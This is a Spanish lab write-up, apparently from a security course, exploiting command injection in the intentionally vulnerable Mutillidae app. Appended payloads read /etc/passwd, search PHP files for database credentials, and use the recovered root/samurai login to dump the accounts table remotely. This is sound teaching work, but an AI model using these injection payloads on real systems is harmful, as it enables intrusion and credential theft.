**¿Qué es Inyección de Comando?** La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial vulnerabilidad se produce cuando una aplicación web le permite hacer un nslookup, whois, ping, traceroute y más desde nuestra página web. Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";" o "|" o "||" o "&" o "&&" se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd). \\ ** ¿Qué es Fuzzing?** La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador. Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos. **practica requisito** * Instalar Mutillidae en Fedora 14 * Instalación de BackTrack 5 R1 **Notas de la practica** En esta practica haremos lo siguiente: * Explotar una vulnerabilidad de fuzzing de inyección / ejecución de comando. * Reconocimiento del sistema operativo * Registro de inicio de la aplicación Reconocimiento * Reconocimiento de base de datos * Codificación de PHP Script para ver los contenidos * Conexión remota a la base de datos Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack {{:sad:fedora:p2:01.png?500|}} Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia [root@fedora14 estudiante]# service mysqld start {{:sad:fedora:p2:02.png?500|}} voy al Backtrack y escribo en el navegador http://ip-fedora/mutillidae {{:sad:fedora:p2:03.png?500|}} Vamos a ver como funciona DNS Lookup Tenemos que ir a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup {{:sad:fedora:p2:index.13.jpg?500|}} El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS. {{:sad:fedora:p2:04.png?500|}} Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando. El procedimiento de agregar un ";" después de lo que la aplicación espera, se llama comando fuzzing. A continuación, ejecutará el comando "**uname -a**", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo www.colegiomontessori.com;uname -a {{:sad:fedora:p2:05.png?500|}} ====== Realizar Reconocimiento ====== Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? Ahora ejecutamos "pwd" para mostrarnos el directorio de trabajo actual. Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php entonces ejecutamos www.colegiomontessori.com; pwd {{:sad:fedora:p2:06.png?500|}} ====== Interrogar la aplicación dns-lookup.php ====== Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. www.colegiomontessori.com; find /var/www/html/mutillidae -name "dns-lookup.php" | xargs egrep '(exec|system|virtual)' {{:sad:fedora:p2:07.png?500|}} Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup Ahora vamos a descubrir la Base de Datos usando el fichero **/etc/passwd ** Vamos a buscar en /etc/passwd algunas de las siguientes palabras **postgres, sql, db2 y ora** para eso escribirmos : www.colegiomontessori.com; cat /etc/passwd | egrep -i '(postgres|sql|db2|ora)' LOL LOL LOL nos dice que mysql es la base de datos que están usando {{:sad:fedora:p2:08.png?500|}} Vamos a descubrir cual es el motor de base de datos que se esta usando con el comando "ps" Usemos el comando "ps" para buscar las siguientes procesos: postgres, sql, db2 y ora. www.colegiomontessori.com; ps -eaf | egrep -i '(postgres|sql|db2|ora)' El mysqld (daemon) se está ejecutando. {{:sad:fedora:p2:09.png?500|}} ====== Listar todos los scripts de php ====== Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /var/www/html/mutillidae contiene un nombre de usuario y contraseña de la base de datos. Pero, primero enumera todos los scripts php. www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" {{:sad:fedora:p2:10.png?500|}} podemos ver una multitud de scripts para interrogar Buscar scripts php para la contraseña de cadena Ahora buscamos en los más de 900 scripts en PHP la palabra "contraseña" y "=". www.colegiomontessori.com; find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "=" y observamos la respuesta 8-om(8-o {{:sad:fedora:p2:11.png?500|}} y observamos que el fichero ** MySQLHandler.php** contiene la siguiente cadena: $mMySQLDatabasePassword = "samurai"; {{:sad:fedora:p2:12.png?500|}} Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "samurai", que está en el fichero MYSQLHandler.php pero no sabemos el usuario que utiliza esa contraseña, por lo que vamos a buscar en MySQLHandler.php las palabras usuario (user) o login www.colegiomontessori.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs egrep -i '(user|login)' | grep "=" {{:sad:fedora:p2:13.png?500|}} Nos da mucha información, por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->mMySQLConnection _... **Mostrar MySQLHandler.php** Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. Es posible visualizar los contenidos del programa** MySQLHandler.php**, codificando las etiquetas "". Estas etiquetas le dicen a Apache que ejecute un script php. Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<" a "& # 60;" y ">" a "& # 62;". www.colegiomontessor.com; find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's//\>/g' {{:sad:fedora:p2:14.png?500|}} Aqui sacamos mucha mucha información LOLLOL por un lado "root" el usuario de la base de datos, por otro lado "samurai" la contraseña de la base de datos y por ultimo "nowasp" el nombre de la base de datos static public $mMySQLDatabaseUsername = "root"; static public $mMySQLDatabasePassword = "samurai"; static public $mMySQLDatabaseName = "nowasp"; Ahora podemos ir al terminal de nuestro **Backtrack** root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai mysql> show databases; mysql> use nowasp; {{:sad:fedora:p2:15.png?500|}} ====== A nevegar por la tablas ====== Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña {{:sad:fedora:p2:16.png?500|}} mysql> select * from accounts; mysql> quit; {{:sad:fedora:p2:17.png?500|}} **''Print de pantalla a entregar''** root@bt:~# cd root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "select * from nowasp.accounts" > account.txt root@bt:~# ls -l account.txt root@bt:~# date root@bt:~# echo "Tu nombre"